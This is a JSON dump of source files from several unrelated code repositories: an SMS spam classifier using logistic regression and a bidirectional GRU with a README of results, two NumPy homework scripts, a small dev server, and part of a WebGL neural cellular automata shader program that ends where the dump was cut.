"text": "import pandas as pd\n\nnum_words = 8000 # number of words we consider as features\nmaxlen = 20 # length of each message\n\n# The dataset we use is known as \"SMS Spam Collection v.1\" (https://www.dt.fee.unicamp.br/~tiago/smsspamcollection/)\n# and is a public set composed by 5,574 English, real and non-enconded messages, tagged according being \n# legitimate (ham) or spam. (747 SMS spam messages and 4,827 SMS ham messages)\n\n\n## Load dataset and call \"preprocessing_data\" function to clean up text messages\ndef load_dataset():\n label = pd.read_csv('../main/Data/SMSSpamCollect_label.txt', header=None)[0]\n print(\"Label details: \\n\", label.value_counts())\n\n X_data = pd.read_csv('../main/Data/SMSSpamCollection.txt', sep=\";\", header=None)[0]\n\n features = preprocessing_data(X_data)\n print(\"\\nLabel shape: \", label.shape, \", Features shape: \", features.shape)\n\n return features, label\n\n\ndef preprocessing_data(data):\n for i in range(len(data)):\n data[i] = data[i].replace(\"\\t\", \"\")\n data[i] = data[i].replace(\"\\n\", \"\")\n\n clean_data = \"\"\n # We choose to replace strings with only numeric characters with the string \"NNNNN\" in order to reduce \n # the amount of irrilevant words that will be tokenized\n for word in data[i].split():\n clean_data += \" NNNNN\" if word.isnumeric() else (\" \" + word)\n\n data[i] = clean_data\n return data\n\n\n## Apply Word-level One-Hot Encoding and truncate each message to have the same fixed length (20 words)\ndef tokenizationAndPadding(features_training, features_test, label_training, label_test):\n\n # We need to split each message into individual words and to associate each word to a single integer.\n # We do this via the tool Tokenizer, that allows to associate each word into a dictionary,\n # where each unique word gets a different ID.\n from tensorflow.keras.preprocessing.text import Tokenizer\n\n myTokenizer = Tokenizer(num_words=num_words) \n myTokenizer.fit_on_texts(features_training) # Fit the Tokenizer only on the training set\n X_training = myTokenizer.texts_to_sequences(features_training)\n #print(myTokenizer.word_index) # Return a dictionary of words and associated integers\n\n X_test = myTokenizer.texts_to_sequences(features_test) # Apply the trained Tokenizer on the test test\n \n # Now we want each message to have the same length: 20 words \n # (if a message is of length greater than 20, then the last 20 words will be considered)\n from keras.preprocessing import sequence\n\n X_training = sequence.pad_sequences(X_training, maxlen=maxlen)\n X_test = sequence.pad_sequences(X_test, maxlen=maxlen)\n\n # Convert our label (\"ham\", \"spam\") into 0 and 1\n from sklearn.preprocessing import LabelEncoder\n\n encoder = LabelEncoder().fit(label_training)\n y_training = encoder.transform(label_training)\n y_test = encoder.transform(label_test)\n\n return X_training, X_test, y_training, y_test\n\n\n## Train and Evaluate the RNN (this model comes from a previous model selection process)\ndef TrainAndEvaluate(X_training, X_test, y_training, y_test):\n\n # We use an Embedding that takes as input arrays of length 20 (this is the number of words in each message) \n # and returns two-dimensional arrays of shape (20, 6). Then, we have a Bidirectional GRU layer with output space \n # of dimension 6. Lastly, there is a Dense layer with sigmoid activation function and only one unit.\n\n from keras.models import Input, Model\n from keras.layers.core import Dense\n from keras.layers import Embedding, Bidirectional, GRU\n\n embedding_space= 6\n\n inputs = Input((X_training.shape[-1],)) # shape=(None, 20)\n hidden = Embedding(num_words, embedding_space, input_length=maxlen)(inputs) # shape=(None, 20, 6)\n hidden2 = Bidirectional(GRU(6, dropout=0.1, recurrent_dropout=0.2))(hidden) # shape=(None, 12)\n outputs = Dense(1, activation='sigmoid')(hidden2) # shape=(None, 1)\n \n model = Model(inputs=inputs, outputs=outputs)\n model.summary()\n\n model.compile(loss='binary_crossentropy', optimizer='Adam', metrics=['acc']) # Compile the NN for training\n\n history = model.fit(X_training, y_training, batch_size=100, epochs=40, verbose=0, \n validation_data= (X_test, y_test)) # Fit the NN for 40 epochs\n\n #model.save_weights('../SMSSpamDetection/BidirectGRU.h5')\n\n y_predict = model.predict(X_test) # Return the predicted labels that are real value between 0 and 1\n y_pred = [1 if x > 0.5 else 0 for x in y_predict]\n # We define a threshold (0.5) to decide when the predicted label is 0 or 1\n\n from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay # Confusion matrix\n cm = confusion_matrix(y_test, y_pred)\n disp = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=['ham', 'spam'])\n disp.plot()\n\n from sklearn.metrics import accuracy_score, classification_report\n print('GRU accuracy: ', accuracy_score(y_test, y_pred))\n print('GRU classification report: ', classification_report(y_test, y_pred)) # Classification report\n\n # Data Visualisation: Accuracy of the training and test set as the epochs change\n import matplotlib.pyplot as plt\n acc= history.history['acc']\n val_acc= history.history['val_acc'] \n\n epochs= range(1, len(acc)+1)\n plt.plot(epochs, acc, 'b-', label= 'Training acc')\n plt.plot(epochs, val_acc, 'r+', label= 'Testing acc')\n plt.title('Training and test accuracy as function of the number of epochs')\n plt.xlabel('Epochs')\n plt.legend()\n plt.savefig('Training and test accuracy of RNN.png', dpi=300)\n \n return y_pred\n\n\n## Identify misclassified messages\ndef MessagesMisclassified(X_test, y_pred, y_test, features_test):\n\n # Identify messages for which our network has made an error in the estimated label \n wrong = [i for i in range(len(y_test)) if y_test[i] != y_pred[i]]\n\n false_positive = [i for i in wrong if y_pred[i] == 1] # Identify false positive\n false_negative = set(wrong) - set(false_positive) # Identify false negative\n\n print('\\nFalse Positive: ')\n [print(features_test.iloc[i], '\\n', X_test[i], '\\n') for i in false_positive]\n print('\\nFalse Negative: ')\n [print(features_test.iloc[i], '\\n', X_test[i], '\\n') for i in false_negative]\n\n\n\n\ndef main(): \n\n features, label = load_dataset()\n \n # Split the dataset into Training set and Test set\n from sklearn.model_selection import train_test_split\n features_training, features_test, label_training, label_test = train_test_split(features, label,\n test_size= 0.25, random_state= 42)\n \n # Apply Word-level One-Hot Encoding, by training the Tokenizer on training set and then applying it on test set\n X_training, X_test, y_training, y_test = tokenizationAndPadding(features_training, features_test, \n label_training, label_test)\n \n y_pred = TrainAndEvaluate(X_training, X_test, y_training, y_test) # Train and Evaluate RNN\n \n # To investigate further, we can search for all messages for which the wrong class has been estimated\n MessagesMisclassified(X_test, y_pred, y_test, features_test)\n\n\nmain()\n\n"
},
{
"alpha_fraction": 0.7008139491081238,
"alphanum_fraction": 0.7069684267044067,
"avg_line_length": 42.80869674682617,
"blob_id": "a340dc5d3da6eac2e66275a662efbf7cec4634b3",
"content_id": "d07732ea76c785f9d2f1c78fc0e23a30d05fccf0",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5037,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 115,
"path": "/Code/SMS_LogRegression.py",
"repo_name": "Federic13/SMSSpamDetection",
"src_encoding": "UTF-8",
"text": "import pandas as pd\nimport sklearn\n# import imblearn\n\nnum_words = 8000 # number of words we consider as features \n\n# The dataset we use is known as \"SMS Spam Collection v.1\" (https://www.dt.fee.unicamp.br/~tiago/smsspamcollection/)\n# and is a public set composed by 5,574 English, real and non-enconded messages, tagged according being \n# legitimate (ham) or spam. (747 SMS spam messages and 4,827 SMS ham messages)\n\n\n## Load dataset and call \"preprocessing_data\" function to clean up text messages\ndef load_dataset():\n label = pd.read_csv('../main/Data/SMSSpamCollect_label.txt', header=None)[0]\n print(\"Label details: \\n\", label.value_counts())\n\n X_data = pd.read_csv('../main/Data/SMSSpamCollection.txt', sep=\";\", header=None)[0]\n\n features = preprocessing_data(X_data)\n print(\"\\nLabel shape: \", label.shape, \", Features shape: \", features.shape)\n\n return features, label\n\n\ndef preprocessing_data(data):\n for i in range(len(data)):\n data[i] = data[i].replace(\"\\t\", \"\")\n data[i] = data[i].replace(\"\\n\", \"\")\n\n clean_data = \"\"\n # We choose to replace strings with only numeric characters with the string \"NNNNN\" in order to reduce \n # the amount of irrilevant words that will be tokenized\n for word in data[i].split():\n clean_data += \" NNNNN\" if word.isnumeric() else (\" \" + word)\n\n data[i] = clean_data\n return data\n\n\n## Apply Word-level One-Hot Encoding\ndef tokenization(features_training, features_test, label_training, label_test):\n\n # We need to transform words into integers. For this purpose we use Tokenizer that transforms arbitrary text into \n # fixed-length arrays, where the length is the size of the dictionary. \n # More in detail, the array associated with each sms has on the i-th component the counter of the number of times \n # the i-th word of the dictionary appears in that sms.\n from tensorflow.keras.preprocessing.text import Tokenizer\n\n # Determine the Dictionary\n myTokenizer = Tokenizer(num_words = num_words) \n myTokenizer.fit_on_texts(features_training) # Fit the Tokenizer only on the training set\n #print(myTokenizer.word_index)\n\n X_training = myTokenizer.texts_to_matrix(features_training, mode='count') # Convert the training set into a matrix\n\n X_test = myTokenizer.texts_to_matrix(features_test, mode='count') # Apply the trained Tokenizer on the test test\n\n # Convert our label (\"ham\", \"spam\") into 0 and 1\n from sklearn.preprocessing import LabelEncoder\n\n encoder = LabelEncoder().fit(label_training)\n y_training = encoder.transform(label_training)\n y_test = encoder.transform(label_test)\n\n\n # The dataset is unbalanced: the majority class is \"ham\" which accounts for more than 85% of the data.\n # We could choose to under-sample the majority class (\"ham\") in order to have a balanced dataset and not\n # penalise the \"spam\" label, but it seems that this step doesn't improve performance.\n\n # from collections import Counter\n # from imblearn.under_sampling import RandomUnderSampler\n\n # counter = Counter(y_training) # Summarize class distribution\n # undersample = RandomUnderSampler(sampling_strategy='majority')\n # X_training, y_training = undersample.fit_resample(X_training, y_training) # Fit and apply the transformation\n\n return X_training, X_test, y_training, y_test\n\n\n## Train and Evaluate Logistic Regression\ndef TrainAndEvaluate(X_training, y_training, X_test, y_test):\n \n from sklearn.linear_model import LogisticRegression\n \n logReg = LogisticRegression(penalty='none', max_iter=1000).fit(X_training, y_training)\n Y_pred = logReg.predict(X_test) # Return the predicted class labels for X_test\n proba = logReg.predict_proba(X_test) # Return the predicted probability of each class\n\n from sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay # Confusion matrix\n cm = confusion_matrix(y_test, Y_pred)\n disp = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=['ham', 'spam'])\n disp.plot()\n\n from sklearn.metrics import classification_report, accuracy_score \n print('Logistic regression accuracy: ', accuracy_score(y_test, Y_pred))\n print('Logistic Regression classification report: ', classification_report(y_test, Y_pred)) # Classification report\n\n\n\n\ndef main():\n features, label = load_dataset()\n\n # Split our dataset into training and test set\n from sklearn.model_selection import train_test_split\n features_training, features_test, label_training, label_test = train_test_split(features, label,\n test_size=0.25, random_state=42)\n\n # Apply Word-level One-Hot Encoding, by training the Tokenizer on training set and then applying it on test set\n X_training, X_test, y_training, y_test = tokenization(features_training, features_test, label_training, label_test)\n \n TrainAndEvaluate(X_training, y_training, X_test, y_test) # Train and Evaluate Logistic Regression\n\n\nmain()"
},
{
"alpha_fraction": 0.6837314963340759,
"alphanum_fraction": 0.7096447944641113,
"avg_line_length": 93.16666412353516,
"blob_id": "84fd14e0338e71940aa181ca01e10a43863778fa",
"content_id": "0b213923a6f375c2e47dbbe06df0b9dca53c6a40",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 7911,
"license_type": "permissive",
"max_line_length": 723,
"num_lines": 84,
"path": "/README.md",
"repo_name": "Federic13/SMSSpamDetection",
"src_encoding": "UTF-8",
"text": "# SMS Spam Detection (Part 2)\n\nThe dataset we use is known as \"SMS Spam Collection v. 1\" and is a [public set](https://www.dt.fee.unicamp.br/~tiago/smsspamcollection/) of 5574 English, real and non-encoded messages, tagged according being legitimate (ham) or spam (4827 SMS ham messages and 747 SMS spam messages).\n\nWe use two different approaches: a machine learning and a deep learning algorithm. The first is Logistic Regression, which is perhaps one of the best known ML algorithms. The second is a Recurrent Neural Network, which was created with the intention of analyzing temporal dependencies, but is widely used for speech recognition. We use two slightly different preprocessing techniques and then analyze the results.\n\n## Data preprocessing\nFirst of all, for both approaches we clean messages from special characters (\"\\t\", \"\\n\") and then we replace each string with only numeric characters with the string \"NNNNN\". This idea is similar to what described in [\"Towards SMS Spam Filtering: Results under a New Dataset\"](https://www.dt.fee.unicamp.br/~tiago/smsspamcollection/IJISS13.pdf) (Almeida, Hidalgo, Silva) and is used to reduce the amount of words we pass to Tokenizer for encoding. \n\nWith Logistic Regression we use a \"texts_to_matrix\" Tokenizer. This method transforms an array of arbitrary length into a fixed-length array, where the length is the number of words in the dictionary, in our case 8000. More in detail, the array returned for a given message has on the i-th component the frequency in this message of the word associated with the integer i by the tokenizer. It is worth noting that this method does not take into account the order of the words in the message, but considers all the words contained in a text message.\n\nInstead, for Recurrent Neural network we use a \"texts_to_sequences\" Tokenizer. It maps each word in the dictionary to an integer and then simply replaces the text message with an array of the same length, where on the i-th position is the integer associated with the i-th word in the text message. In this way, we're considering the order in which the words are in the message. Then, only for this tokenization method, we pad or truncate each array so that they are all the same length, in our case 20 elements. We note that if an array is longer than 20 elements, then the last 20 integers will be retained, i.e. the last 20 words in text message.\n\n## Models\nOur first model is Logistic Regression with a very large number of features: 8000. However, the input arrays are sparse (most components are 0) and this is probably why this algorithm works better without coefficient regularization. \n\nThe second model is composed by an Embedding layer followed by a Bidirectional GRU.\nThe Embedding layer maps each word, represented by an integer, into a dense-array of fixed length, this length is known as \"embedding_space\". At theoretical level, the Embedding maps words into a meaning-space, so that words with similar meanings are represented by similar arrays (or arrays that have small distance). Our Embedding takes as input arrays of 20 elements and returns two-dimensional arrays of size (20,6), so the \"embedding_space\" is 6.\nNext, there is a Bidirectional GRU layer with output space of dimension 6. It is in GRU layer that words are seen together and their dependencies are modeled; besides, because of bidirectionality, words take on meaning based on context by considering both previous and following words. \nLastly, we have a Dense layer with a single unit and a Sigmoid activation function that aggregates information and returns the output. \n\n## Results\na) Logistic Regression\n\nAccuracy: 0.9870875179340028\n\nConfusion Matrix: \n| | Predicted label: Ham (0) | Predicted label: Spam (1) |\n| :--- | :---: | :---: |\n|True label: Ham (0) | 1198 | 5 |\n|True label: Spam (1)| 13 | 178|\n\nClassification Report: \n\n| Class | Precision | Recall | F1-score | Support |\n| :--- | :---: | :---: | :---: | :---: |\n| Ham (0) | 0.99 | 1.00 | 0.99 | 1203 |\n| Spam (1) | 0.97 | 0.93 | 0.95 | 191 |\n\nb) Recurrent Neural Network\n\nAccuracy: 0.9913916786226685\n\nConfusion Matrix: \n| | Predicted label: Ham (0) | Predicted label: Spam (1) |\n| :--- | :---: | :---: |\n|True label: Ham (0) | 1201 | 2|\n|True label: Spam (1)| 10 | 181|\n\nClassification Report: \n\n| Class | Precision | Recall | F1-score | Support |\n| :--- | :---: | :---: | :---: | :---: |\n| Ham (0) | 0.99 | 1.00 | 1.00 | 1203 |\n| Spam (1) | 0.99 | 0.95 | 0.97 | 191 |\n\nThese performance results are obtained by training the RNN for 40 epochs. Observing how accuracy on test set changes as a function of the number of epochs, we can say we're not in an overfitting situation, but it is sufficient even only 20 epochs.\n\n<img src=\"https://user-images.githubusercontent.com/89379052/133884115-b4fb2f9f-ba82-48a2-a64d-412a58c2e6fb.png\" width=\"600\">\n\n\nIf we want to investigate further the RNN, we can look for misclassified messages. Here some examples of misclassified: \n\n1) False Positive: \n\n-\"This is ur face test ( NNNNN NNNNN NNNNN NNNNN NNNNN NNNNN NNNNN NNNNN NNNNN <,#>, ) select any number i will tell ur face astrology.... am waiting. quick reply...\" \n\n-\"on a Tuesday night r u NNNNN real\"\n\n2) False Negative:\n \n-\"Missed call alert. These numbers called but left no message. NNNNN\"\n\n-\"Sorry I missed your call let's talk when you have the time. I'm on NNNNN\"\n\n-\"Email AlertFrom: Jeri StewartSize: 2KBSubject: Low-cost prescripiton drvgsTo listen to email call NNNNN\"\n\n-\"Do you realize that in about NNNNN years, we'll have thousands of old ladies running around with tattoos?\"\n\nThe first false positive is certainly an ambiguous message; finding strange messages among false positives often occurs, sometimes it is only the sender of the message (whether known or not) that clarifies if the message is really spam. The real problem of our classifier is false negatives; however, we could improve our network by increasing the subset of spam in the dataset, or by applying other techniques that we describe below.\n\n## Possible future improvements and conclusions\nAs expected, Recurrent Neural Network is more accurate than Logistic Regression. As written before, increasing the subset of spam in the dataset could enhance both algorithms. Also, it is possible to improve the preprocessing: we could remove special characters (\"<\", \"#>\", ...) and we could use Stemming or Lemmatization to reduce inflection in words. Indeed, preprocessing is crucial in NLP and Tokenization is an essential step for both our classifiers (for example, if we apply \"texts_to_sequences\" Tokenizer for Logistic Regression data, we get a Recall under 0.4 for Spam class).\nBesides, it might be possible to improve the structure of the RNN: the proposed network is obtained with a model selection on the recurrent layer (SimpleRNN, LSTM or GRU) and its direction (whether Bidirectional or not) and on the \"embedding_space\" dimensionality by setting the size of the input arrays. It might be possibile to find a more accurate classifier by changing the size of the input arrays from 20. Adding another recurrent layer (SimpleRNN, LST or GRU) after GRU could be another idea to enhance the network, in order to increase the network complexity and thus its learning capacity; but in this case it may be necessary to increase the dropout rate in the recurrent layers to avoid an overfitting situation.\n\n"
}
] | 3 |
Biroguuu/NUMPY- | https://github.com/Biroguuu/NUMPY- | 685dad3e89a58b8e4cdf59f4f7790e12e393b809 | 97c6ead55dfd1b1737ee0d0402680cd94c6f6d20 | 0cd3e29b91a2b58351844b6990afecdbc59a86e0 | refs/heads/master | 2020-09-12T02:20:48.108258 | 2019-11-19T14:10:45 | 2019-11-19T14:10:45 | 222,269,143 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.2961847484111786,
"alphanum_fraction": 0.5070281028747559,
"avg_line_length": 27.515151977539062,
"blob_id": "3b7dfb00be268263bd6a0592851b9f82c0263ed7",
"content_id": "48e47694870b5a3923d88ac182bbd7ca82ae9f91",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 996,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 33,
"path": "/div_by_3.py",
"repo_name": "Biroguuu/NUMPY-",
"src_encoding": "UTF-8",
"text": "#Problem 2 Numpy Assignment _ Sergio _ 2ECE-A\r\nimport numpy as np\r\n\r\n#starting array\r\nX = np.array([[1, 2, 3,4,5,6,7,8,9,10], \r\n [11,12,13,14,15,16,17,18,19,20],\r\n [21,22,23,24,25,26,27,28,29,30],\r\n [31,32,33,34,35,36,37,38,39,40],\r\n [41,42,43,44,45,46,47,48,49,50],\r\n [51,52,53,54,55,56,57,58,59,60],\r\n [61,62,63,64,65,66,67,68,69,70],\r\n [71,72,73,74,75,76,77,78,79,80],\r\n [81,82,83,84,85,86,87,88,89,90],\r\n [91,92,93,94,95,96,97,98,99,100]])\r\nprint(X) \r\n#square array X \r\nY = np.square(X)\r\nprint(Y)\r\n\r\n#Get the numbers divisible by 3 \r\narray = np.arange(100).reshape(10,10)\r\narrayOfThrees = []\r\nnumN = 1\r\nfor i in range(10):\r\n for j in range(10):\r\n array[i][j] = numN * numN\r\n numN+=1\r\n if array[i][j]%3 == 0:\r\n arrayOfThrees.append(array[i][j])\r\n\r\narrayOfThrees = np.array(arrayOfThrees)\r\nprint()\r\nprint(arrayOfThrees)\r\n "
},
{
"alpha_fraction": 0.5784313678741455,
"alphanum_fraction": 0.6029411554336548,
"avg_line_length": 20.22222137451172,
"blob_id": "8528e1051580770c0b4305f3941f202ba30623de",
"content_id": "7be01ad495916413af6123fda9b89addd5542909",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 204,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 9,
"path": "/X_normalizaed.npy_SERGIO_2ECE-A.py",
"repo_name": "Biroguuu/NUMPY-",
"src_encoding": "UTF-8",
"text": "#Programming Assignment 7 Problem 1 _ Sergio _ 2ECE-A \r\n\r\nimport numpy as np\r\nX = np.random.random((5,5))\r\nprint(X)\r\n#normalization formula\r\nfor x in X:\r\n Z = (x-X.mean()) / X.std()\r\n print(Z)\r\n "
}
] | 2 |
mlartorg/post--growing-ca | https://github.com/mlartorg/post--growing-ca | b4cf62d5657b268bb08354cb2c9ad2230f3d8352 | 242c747d25dac3368d97bc3423bd1577e6070f19 | ac3927033f1d52a97c8f7d8585c756d10716fb58 | refs/heads/master | 2021-05-16T23:27:03.552398 | 2020-03-27T11:22:32 | 2020-03-27T11:22:32 | 250,515,457 | 0 | 0 | CC-BY-4.0 | 2020-03-27T11:21:02 | 2020-03-25T00:41:20 | 2020-03-15T19:02:47 | null | [
{
"alpha_fraction": 0.6930692791938782,
"alphanum_fraction": 0.7029703259468079,
"avg_line_length": 49.5,
"blob_id": "c344bbb40654f1bc3feb557f882c2d18f52db7a6",
"content_id": "8b96d88674f7ded743a325b616aeb1f143251f1d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 101,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 2,
"path": "/bin/copy_figures.sh",
"repo_name": "mlartorg/post--growing-ca",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\ncp -Rvu ~/Drive/My\\ Drive/selforg/ca_growth/figures/*.{mp4,svg,png,jpg} ./static/figures\n"
},
{
"alpha_fraction": 0.5637209415435791,
"alphanum_fraction": 0.5674418807029724,
"avg_line_length": 23.43181800842285,
"blob_id": "8119b52e2ddf4edadbb625cdecdfc3e0c022219d",
"content_id": "565f516216dacc4d203b1ee50e8397d80ad1e234",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1075,
"license_type": "permissive",
"max_line_length": 63,
"num_lines": 44,
"path": "/bin/dev.py",
"repo_name": "mlartorg/post--growing-ca",
"src_encoding": "UTF-8",
"text": "'''Advanced web-development server'''\n\nfrom __future__ import print_function\n\nimport os, glob\nimport six\nif six.PY3:\n from http.server import SimpleHTTPRequestHandler, test\nelse:\n from SimpleHTTPServer import SimpleHTTPRequestHandler, test\n\ndef write_file(fname, fout):\n for s in open(fname):\n if s.startswith('%% '):\n fn = '../'+s.split()[1]\n write_file(fn, fout)\n else:\n fout.write(s)\n\ndef build():\n os.system('''\n src=\"$(ls -t ~/Downloads/export*.html | head -1)\"\n if [ \"$src\" -nt ../article.html ]; then\n cp -vf \"$src\" ../article.html\n fi\n ''')\n with open('index.html', 'w') as fout:\n write_file('../main.html', fout)\n print('build finished')\n\n\nclass Handler(SimpleHTTPRequestHandler):\n def do_GET(self):\n if self.path in ['/', '/index.html']:\n build()\n if six.PY3:\n super().do_GET()\n else:\n SimpleHTTPRequestHandler.do_GET(self)\n\nif __name__ == '__main__':\n os.chdir('public')\n build()\n test(HandlerClass=Handler)\n"
},
{
"alpha_fraction": 0.524660587310791,
"alphanum_fraction": 0.5504987239837646,
"avg_line_length": 30.867549896240234,
"blob_id": "594b5495108d27cbfb863a600a68095131da19a9",
"content_id": "d88738a487dab46abeedffe559f0d5b846cc11b3",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 14436,
"license_type": "permissive",
"max_line_length": 103,
"num_lines": 453,
"path": "/public/ca.js",
"repo_name": "mlartorg/post--growing-ca",
"src_encoding": "UTF-8",
"text": "/*\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttps://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\nconst CHANNEL_N = 16;\nconst MAX_ACTIVATION_VALUE = 10.0;\n\nconst vs_code = `\n attribute vec4 position;\n varying vec2 uv;\n void main() {\n uv = position.xy*0.5 + 0.5;\n gl_Position = position;\n }\n`\n\nfunction defInput(name) {\n return `\n uniform Tensor ${name};\n uniform sampler2D ${name}_tex;\n\n vec4 ${name}_read(vec2 pos, float ch) {return _read(${name}, ${name}_tex, pos, ch);}\n vec4 ${name}_readUV(vec2 uv) {return _readUV(${name}, ${name}_tex, uv);}\n `\n}\n\nconst PREFIX = `\n precision highp float;\n\n struct Tensor {\n vec2 size;\n vec2 gridSize;\n float depth, depth4;\n vec2 packScaleBias;\n };\n uniform Tensor u_output;\n \n vec4 _readUV(Tensor tensor, sampler2D tex, vec2 uv) {\n vec4 v = texture2D(tex, uv);\n vec2 p = tensor.packScaleBias;\n v = tan((v-p.y)*p.x);\n return v;\n }\n\n vec4 _read(Tensor tensor, sampler2D tex, vec2 pos, float ch) {\n vec2 p = fract(pos/tensor.size);\n ch += 0.5;\n float tx = floor(mod(ch, tensor.gridSize.x));\n float ty = floor(ch / tensor.gridSize.x);\n p += vec2(tx, ty);\n return _readUV(tensor, tex, p/tensor.gridSize);\n }\n\n vec2 getOutputXY() {\n return mod(gl_FragCoord.xy, u_output.size);\n }\n float getOutputChannel() {\n vec2 xy = floor(gl_FragCoord.xy/u_output.size);\n return xy.y*u_output.gridSize.x+xy.x;\n }\n\n void setOutput(vec4 v) {\n vec2 p = u_output.packScaleBias;\n v = atan(v)/p.x + p.y;\n gl_FragColor = v;\n }\n\n ${defInput('u_input')}\n`;\n\nconst PROGRAMS = {\n paint: `\n uniform vec2 u_pos;\n uniform float u_r;\n uniform float u_brush;\n\n void main() {\n vec2 diff = abs(getOutputXY()-u_pos+0.5);\n diff = min(diff, u_output.size-diff);\n if (length(diff)>=u_r) \n discard;\n vec4 result = vec4(0.0);\n if (u_brush>0.5) {\n float ch = getOutputChannel();\n result = vec4(vec3(float(ch>0.5)), 1.0);\n }\n setOutput(result);\n }`,\n perception: `\n uniform float u_angle;\n const mat3 sobel = mat3(-1.0, 0.0, 1.0, -2.0, 0.0, 2.0, -1.0, 0.0, 1.0)/8.0;\n\n void main() {\n vec2 xy = getOutputXY();\n float ch = getOutputChannel();\n float filterBand = floor(ch/u_input.depth4);\n float inputCh = mod(ch, u_input.depth4);\n if (filterBand == 0.0) {\n setOutput(u_input_read(xy, inputCh));\n } else {\n vec4 dx = vec4(0.0), dy = vec4(0.0);\n for (int y=0; y<3; ++y)\n for (int x=0; x<3; ++x) {\n vec2 p = xy+vec2(float(x-1), float(y-1));\n vec4 a = u_input_read(p, inputCh);\n dx += sobel[y][x]*a;\n dy += sobel[x][y]*a;\n }\n float s = sin(u_angle), c = cos(u_angle);\n setOutput(filterBand == 1.0 ? dx*c-dy*s : dx*s+dy*c);\n }\n }`,\n dense: `\n uniform sampler2D u_weightTex;\n uniform vec3 u_weightCoefs; // weigthScale, biasScale, center\n \n const float MAX_PACKED_DEPTH = 32.0;\n \n vec4 readWeight(vec2 p) {\n vec4 w = texture2D(u_weightTex, p);\n return (w-u_weightCoefs.z)*u_weightCoefs.x; \n }\n vec4 readBias(vec2 p) {\n vec4 w = texture2D(u_weightTex, p);\n return (w-u_weightCoefs.z)*u_weightCoefs.y; \n }\n \n void main() {\n vec2 xy = getOutputXY();\n float ch = getOutputChannel();\n if (ch >= u_output.depth4)\n return;\n \n float dy = 1.0/(u_input.depth+1.0);\n vec2 p = vec2((ch+0.5)/u_output.depth4, dy*0.5);\n vec4 result = vec4(0.0);\n for (float i=0.0; i < MAX_PACKED_DEPTH; i+=1.0) {\n vec4 inVec = u_input_read(xy, i);\n result += inVec.x * readWeight(p); p.y += dy;\n result += inVec.y * readWeight(p); p.y += dy;\n result += inVec.z * readWeight(p); p.y += dy;\n result += inVec.w * readWeight(p); p.y += dy;\n if (i+1.5>u_input.depth4) {\n break;\n }\n }\n result += readBias(p); // bias\n setOutput(result);\n }`,\n dropout: `\n uniform float u_seed, u_udpateProbability;\n varying vec2 uv;\n \n // \"Hash without Sine\" by David Hoskins (https://www.shadertoy.com/view/4djSRW)\n float hash13(vec3 p3) {\n p3 = fract(p3 * .1031);\n p3 += dot(p3, p3.yzx + 33.33);\n return fract((p3.x + p3.y) * p3.z);\n }\n \n void main() {\n vec2 xy = getOutputXY();\n vec4 result = u_input_readUV(uv);\n result *= float(hash13(vec3(xy, u_seed)) <= u_udpateProbability);\n setOutput(result);\n }`,\n update: `\n ${defInput('u_update')}\n\n varying vec2 uv;\n \n void main() {\n vec2 xy = getOutputXY();\n float preMaxAlpha=0.0, postMaxAlpha=0.0;\n for (float y=-1.0; y<=1.0; ++y)\n for (float x=-1.0; x<=1.0; ++x) {\n vec2 p = xy+vec2(x, y);\n float preAlpha = u_input_read(p, 0.0).a;\n float updateAlpha = u_update_read(p, 0.0).a;\n float postAlpha = preAlpha+updateAlpha;\n preMaxAlpha = max(preAlpha, preMaxAlpha);\n postMaxAlpha = max(postAlpha, postMaxAlpha);\n }\n if (min(preMaxAlpha, postMaxAlpha) < 0.1) {\n setOutput(vec4(0.0));\n return;\n }\n vec4 state = u_input_readUV(uv);\n vec4 update = u_update_readUV(uv);\n setOutput(state + update);\n }`,\n vis: `\n uniform float u_raw;\n uniform vec3 u_lastDamage;\n varying vec2 uv;\n\n void main() {\n vec2 xy = vec2(uv.x, 1.0-uv.y);\n if (u_raw > 0.5) {\n gl_FragColor = texture2D(u_input_tex, xy);\n gl_FragColor.a = 1.0;\n } else {\n xy *= u_input.size;\n vec4 rgba = u_input_read(xy, 0.0);\n gl_FragColor = 1.0-rgba.a + rgba;\n vec2 diff = abs(xy-u_lastDamage.xy+0.5);\n diff = min(diff, u_input.size-diff);\n if (length(diff) < u_lastDamage.z) {\n gl_FragColor.rgb *= 0.7;\n gl_FragColor.rgb += vec3(0.3, 0.3, 0.0);\n }\n }\n }`\n}\n\nfunction decodeArray(s, arrayType) {\n const data = atob(s);\n const buf = new Uint8Array(data.length);\n for (var i=0; i<data.length; ++i) {\n buf[i] = data.charCodeAt(i);\n }\n return new arrayType(buf.buffer);\n}\n\n\nexport function createCA(gl, layerWeights, gridSize) {\n gridSize = gridSize || [96, 96];\n const [gridW, gridH] = gridSize;\n\n function createPrograms() {\n const res = {};\n for (const name in PROGRAMS) {\n const fs_code = PREFIX + PROGRAMS[name];\n res[name] = twgl.createProgramInfo(gl, [vs_code, fs_code]);\n }\n return res;\n }\n\n function createTensor(h, w, depth, activation) {\n const depth4 = Math.ceil(depth / 4);\n const gridW = 